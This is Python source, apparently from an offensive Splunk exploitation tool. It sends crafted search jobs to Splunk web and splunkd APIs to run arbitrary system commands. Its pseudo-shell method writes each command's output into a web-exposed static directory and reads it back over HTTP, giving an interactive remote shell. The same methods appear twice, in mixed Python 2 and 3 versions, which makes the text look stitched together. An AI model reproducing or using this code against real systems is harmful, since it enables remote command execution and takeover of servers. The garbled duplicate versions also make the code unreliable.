def search_exploit_cmd(self,command):
"Execute commands via search exploit."
if self.splunkweb == 1 and self.got_admin:
if self.web_authed == 0:
self.splunkweb_auth()
print "[i] Executing Command:{0}".format(command)
attack_body = self.search_payload_cmd(command)#
attack_body = urllib.quote(urllib.unquote(attack_body))
shell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url))
shell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body))
for c in shell_req.get_cookiejar():
if "session" in c.name:
shell_req.add_header("X-Requested-With","XMLHttpRequest")
shell_req.add_header("X-Splunk-Session",c.value)
x = shell_req.makerequest()
elif self.splunkd == 1 and self.got_admin and self.session_key:
print "[i] Executing Command:{0}".format(command)
attack_body = self.search_payload_cmd(command)#
attack_body = urllib.quote(urllib.unquote(attack_body))
shell_req = Requestobj("{0}/servicesNS/admin/search/search/jobs".format(self.splunkd_url))
shell_req.rawpostdata("POST","ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100".format(attack_body))
shell_req.add_header("authorization","Splunk {0}".format(self.session_key))
x = shell_req.makerequest()
else:
print "Session",self.session_key
print "Admin",self.got_admin
print "Splunkd",self.splunkd
print "[i] Exploit failed. Not connected or access denied"
def search_exploit_cmd(self,command):
"Execute commands via search exploit."
if self.splunkweb == 1 and self.got_admin:
if self.web_authed == 0:
self.splunkweb_auth()
print "[i] Executing Command:{0}".format(command)
attack_body = self.search_payload_cmd(command)#
attack_body = urllib.quote(urllib.unquote(attack_body))
shell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url))
shell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body))
for c in shell_req.get_cookiejar():
if "session" in c.name:
shell_req.add_header("X-Requested-With","XMLHttpRequest")
shell_req.add_header("X-Splunk-Session",c.value)
x = shell_req.makerequest()
elif self.splunkd == 1 and self.got_admin and self.session_key:
print "[i] Executing Command:{0}".format(command)
attack_body = self.search_payload_cmd(command)#
attack_body = urllib.quote(urllib.unquote(attack_body))
shell_req = Requestobj("{0}/servicesNS/admin/search/search/jobs".format(self.splunkd_url))
shell_req.rawpostdata("POST","ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100".format(attack_body))
shell_req.add_header("authorization","Splunk {0}".format(self.session_key))
x = shell_req.makerequest()
else:
print "Session",self.session_key
print "Admin",self.got_admin
print "Splunkd",self.splunkd
print "[i] Exploit failed. Not connected or access denied"
def search_exploit_psudoshell(self):
"Execute commands via search exploit. Payload implements a virtual shell"
if not self.username or not self.password:
print("[i] Valid username and password required")
sys.exit()
if not self.splunkweb == 1:
print("[error] Managment Web Interface required for this payload")
return ""
if self.web_authed == 0:
self.splunkweb_auth()
base_dir = self.get_splunk_home()
#if not base_dir:
# print "Failed to get splunk basedir"
# base_dir = "/opt/splunk"
command = ""
while 1:
print(command.rstrip())
command = input("shell>") #
if command.rstrip() == "exit": break
if "windows" in self.os_name.lower():
tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"".format(
base_dir)
command = command + tmp #'"'+ tmp +'"'
else:
tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp".format(
base_dir)
command = command + tmp
attack_body = self.search_payload_cmd(command) #
attack_body = urllib.parse.quote(urllib.parse.unquote(attack_body))
psudoshell_req = Requestobj("{0}/en-GB/api/search/jobs".format(
self.splunkweb_url))
psudoshell_req.rawpostdata(
"POST",
"search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time="
.format(attack_body))
for c in psudoshell_req.get_cookiejar():
if "session" in c.name:
psudoshell_req.add_header("X-Requested-With",
"XMLHttpRequest")
psudoshell_req.add_header("X-Splunk-Session", c.value)
x = psudoshell_req.makerequest()
import time
time.sleep(3)
print(
Requestobj("{0}/en-US/static/@105575/js/.tmp".format(
self.splunkweb_url)).makerequest().body)
def search_exploit_psudoshell(self):
"Execute commands via search exploit. Payload implements a virtual shell"
if not self.username or not self.password:
print "[i] Valid username and password required"
sys.exit()
if not self.splunkweb == 1:
print "[error] Managment Web Interface required for this payload"
return ""
if self.web_authed == 0:
self.splunkweb_auth()
base_dir = self.get_splunk_home()
#if not base_dir:
# print "Failed to get splunk basedir"
# base_dir = "/opt/splunk"
command=""
while 1:
print command.rstrip()
command=raw_input("shell>")#
if command.rstrip() == "exit": break
if "windows" in self.os_name.lower():
tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"".format(base_dir)
command = command + tmp #'"'+ tmp +'"'
else:
tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp".format(base_dir)
command = command + tmp
attack_body = self.search_payload_cmd(command)#
attack_body = urllib.quote(urllib.unquote(attack_body))
psudoshell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url))
psudoshell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body))
for c in psudoshell_req.get_cookiejar():
if "session" in c.name:
psudoshell_req.add_header("X-Requested-With","XMLHttpRequest")
psudoshell_req.add_header("X-Splunk-Session",c.value)
x = psudoshell_req.makerequest()
import time
time.sleep(3)
print Requestobj("{0}/en-US/static/@105575/js/.tmp".format(self.splunkweb_url)).makerequest().body
